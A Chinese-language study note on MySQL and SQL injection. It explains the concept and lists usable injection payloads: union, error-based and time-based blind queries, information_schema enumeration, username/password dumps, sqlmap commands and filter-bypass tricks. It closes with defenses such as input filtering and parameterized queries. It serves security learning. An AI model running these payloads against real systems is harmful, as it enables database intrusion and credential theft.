mysql -u root -p
show databases # 查看那些数据库
use 数据库名 #进入指定数据库
show tables # 查看数据库中有哪些表
desc 表名 # 查看数据
show create table 表名 # 查看表的细节
select version(); # 查询当前数据库版本
select @@version; # 查询数据库版本
select user(); # 查看当前用户
order by 1; # 指定第几列进行排序
数据库操作:
create database mytest; # 创建名为mytest的数据库
alter database mytest character set utf8; # 修改数据库编码为utf8
show create database mytest; # 查看数据库状态
drop database mytest; # 删除数据库
select database();# 查询当前使用的数据库是哪一个
表操作:
create table tablename(column_name1 colunm_type1, column_name2 colunm_type2); # 创建表
alter table 表名 drop column 列名; # 删除指定列
alter table 表名 add column 列名 column_type; # 添加列
alter table 表名 change 旧列名 新列名 新列名属性; # 修改列名
alter table 表名 modify 列名 新的列名属性; # 修改列属性
show create table 表名; # 查看创建表的语句
desc 表名; # 查看表结构
例子:创建数据表library
CREATE TABLE IF NOT EXISTS `library`(
`lib_id` INT UNSIGNED AUTO_INCREMENT,
`lib_title` VARCHAR(100) NOT NULL,
`lib_author` VARCHAR(40) NOT NULL,
`submission_date` DATE,
PRIMARY KEY ( `lib_id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
重点语句
查询表中数据
select * from 表名; # 查询表中所有内容
select name from users; # 查询 users 表中 name 值;
select * from users where age<30; # where条件语句,可以写 "=" ">" "<"
select * from users limit 1,2; # limit 第一个参数是指定开始位置,第二个参数是个数
插入数据
insert into table_name values(值1, 值2, ......);
insert into table_name (列1, 列2,...) VALUES (值1, 值2,....);
删除数据
delete from 表名 [WHERE Clause]; # 删除指定条件的语句
delect from 表名; # 删除所有数据
更新数据
update 表名 SET 字段1=new-value1, 字段2=new-value2 [WHERE Clause]; # 指定条件更新
语句
SQL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。本质是修改当前查询语句的结构,从而获得额外的信息或执行内容。
原理:
用户查询某个信息或者进行订单查询业务时,用户提交相关查询参数,服务器收到参数后进行处理,再将处理后的参数提交到数据库进行查询,之后,将数据库返回的结果显示在页面上,这样就完成了一次查询的过程。但如果用户提交的数据中拼接了查询语句,恰好服务器没有对用户输入的参数进行有效过滤,那么数据库就会根据用户提交的语句进行查询,返回更多信息。
通常有一下几点:
根据前台的数据是否回显和后台安全配置及防护情况进行区分,主要有两种类型:
影响SQL注入过程的主要有以下几个方面:
典型的攻击流程如下:
sql手工注入的思路:查找注入点、查库名、查表名、查字段名、查重点数据
函数名称 | 函数功能 |
---|---|
system_user() | 系统用户名 |
user() | 用户名 |
current_user() | 当前用户名 |
session_user() | 连接数据库的用户名 |
database() | 数据库名 |
version() | 数据库版本 |
@@datadir | 数据库路径 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 操作系统 |
count() | 返回执行结果数量 |
concat() | 没有分隔符地连接字符串 |
concat_ws() | 有分隔符地连接字符串 |
group_concat() | 连接一个组的所有字符串,并以逗号分隔每一条数据 |
load_file() | 读取本地文件 |
into outfile | 写文件 |
ascii() | 字符串的ASCII代码值 |
ord() | 返回字符串第一个字符的ASCII值 |
mid() | 返回资格字符串的一部分 |
substr() | 返回一个字符串的一部分 |
length() | 返回字符串的长度 |
MySql内置数据库 information_schema
information_schema:提供访问数据库元数据的方式,其中保存着关于MYSQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表的数据类型与访问权限等。因此可利用SQL注入方式,通过远程注入查询语句方式实现直接读取MySql数据中information_schema库的信息。
功能名称 | 查询语句 |
---|---|
查库 | select schema_name from information_schema.schemata |
查表 | select table_name from information_schema.tables where table_schema=库名 |
查列 | select column_name from information_schema.columns where table_name=表名 |
查数据 | select 列名 from 库名.表名 |
sql语法:
select * from users union select 1,2,3; # 联合查询要保证两次查询的列数相等
union select 1,2,3 -- -
order by ? # 帮我们确定数据表中有多少列数据,二分法快速判定
select * from users where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x
from information_schema.tables group by x)a);
select * from users where id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1);
使用substr函数来一段段的读取输出的内容
substr("12345678",1,5) -> 12345
updatexml(1,concat(0x5e,substr(version(),1,4),0x5e),1)
select * from users where id=1 and (extractvalue(1,concat(0x7e,(user()),0x7e)));
1. floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by
x)a);
2. extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3. updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4. geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5. multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6. polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7. multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8. linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9. multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
在实施盲注时,关键在于合理的实现对目标数据的猜测,并利用时间延迟等手段实现猜测正确与否的证明。
盲注的主要特点是:将想要查询的数据作为目标,构造SQL条件判断语句,与要查询的数据进行比较,并让数据库告知当前语句执行是否正确。
select * from users where username="admin" and password="admin";
and length(database())=8 --+ # 判断当前数据库名长度
and substr(database(),1,1)='a' --+ # 使用指定字符一位一位判断截取到的字符
ascii(substr(database(),1,1))=1 --+ # 使用ascii码一位一位比对截取到的字符
if("表达式",条件1,条件2)
and if(length(database())=1,sleep(5),1) --+ # 判断数据库名字
and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+ # ascii码比对字符
sleep(5) # 延时函数,等待五秒
if(表达式,结果1,结果2)
1.爆库:select group_concat(schema_name) from information_schema.schemata
2.爆表1:select group_concat(table_name) from information_schema.tables where
table_schema='security' 要加引号
爆表2:select table_name from information_schema.tables where
table_schema='security' limit 3,1 加引号
3.爆字段1:select group_concat(column_name) from information_schema.columns where
table_name='users' and table_schema='security' 加引号
爆字段2:select column_name from information_schema.columns where
table_name='users' and table_schema='security' limit 1,1 username,password
4.字段值:select group_concat(username,0x3a,password) from security.users 不加引号
1. -u "url" 检测注入点
2.--dbs 列出所有数据库的名字
3.--current-db 列出当前数据库的名字
4.-D 指定一个数据库
5.--tables 列出表名
6.-T 指定表名
7.--columns 列出所有字段名
8.-C 指定字段 eg: -D security -T users -C password,username --dump
9.--dump 列出字段内容
10.-D security --dump 爆出数据库所有数据
-u 目标URL
例:sqlmap -u "www.abc.com/index.php?id=1"
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt
--data # 指定post参数
sqlmap -u http://xxxx --data "userid=aaa&passwd=bbbb"
--random-agent # 随机ua
--level=LEVEL # 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere;
lv5:host
--risk=RISK # 升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的
测试;risk 4:update的测试
-p 指定测试参数
例: sqlmap -r bp.txt -p "username"
SQL注入的防护方法包括参数过滤和预编译处理,参数过滤分为数据类型显示和危险字符处理。总之就是要么严防死守细致检查,要么严格限定参数的有效范围(参数化查询),尽可能显示用户可提交参数的类型。
针对常见的参数提交接口,如参数均为数字,可对参数进行过滤,避免参数中出现非字符类型字符,并对参数长度进行限制。但缺点是会极大的限制提交的参数格式,在需输入多种类型的字符场合下不适用。
可用以下函数实现:
//通过指定的禁止base转换(默认为10进制),返回变量var的integer数值
int intval(mixed $var'[,int $base=10]);
例:$id=intval($id);
//检测表了是否为数字或数字字符串,但此函数允许输入的为负数和小数
bool is_numeric(mixed $var);
例:if(is_numeric($id)){......}
//检测字符串中的字符是否都是数字,负数和小数无法通过检测
ctype_digit
例:if(ctype_digit($id)){......}
使用某些技巧令数据库报错,根据细微查表帮助攻击者识别后台的过滤函数。
若后台没有对出错情况进行相应的处理,则攻击者可以通过正常页面和错误页面的显示猜测数据库的内容。
由于成功执行的SQL注入语句字符数量通常会非常多,远大于正常业务中有效参数的长度,可严格控制提交点的字符长度,使大部分注入语句没办法执行。
在PHP下,可用strlen函数检查输入长度
if(strlen($id)<4) //参数长度是否小于4
构造简短的语句进行绕过、添加注释符、在构造SQL语句时利用and、or、注释符等修改原有语句意图。
对参数中的敏感信息进行检测和过滤,避免危险字符被系统重构成查询语句,导致SQL注入执行成功。
常见的危险参数过滤方法包括关键字、内置函数、敏感字符的过滤,其过滤方法主要有有以下三种:
防护手段仍建议以黑名单+参数转义为主,这也是针对SQL敏感参数处理的主要方式。
对应绕过方式主要是利用参数变化的方式来绕过黑名单防护
针对黑名单:
绕过黑名单防护措施的核心思路是:将关键字符或特定符号进行不同形式的变换,从而实现绕过过滤器的目的
order/**/by/**/2
,这样可以避免后台对关键字字符的过滤,追逐执行SQL语句时,数据库会自动忽视注释符。如果采用黑名单过滤,建议务必限制禁止执行的函数,仅仅禁用敏感字符并不会获得太好的效果。
针对GPC过滤
对GPC添加的“\”进行转义,可尝试宽字节注入方式
//假设目标大于或等于min且小于或等于max,则between返回值为1(true),否则返回0(false)
between min and max
//返回ab中较大的那个数
greatest(a,b)
id=(sleep(ascii(mid(user()from(1)for(1)))=114))
参数化查询是指数据库服务器在数据库完成SQL指令比那以后,才套用参数运行,就算参数中含有有损的指令,也不会被数据库所运行,仅认为他是一个参数。
由于代码中严格规定了用户输入参数即为数据库的查询内容,导致攻击者无法对当前的sql语句进行修改,也就导致SQL注入失败
SQL注入最大的危害在于数据泄露,但SQL注入并不能直接获得Web系统的权限。在对抗SQL注入攻击方面,有效的措施是过滤和转义,针对中小型站点尽可能限制数据类型,限制提交数据的字符类型,对特殊字符及敏感函数进行过滤。针对大型站点推荐利用预编译方法或参数化查询。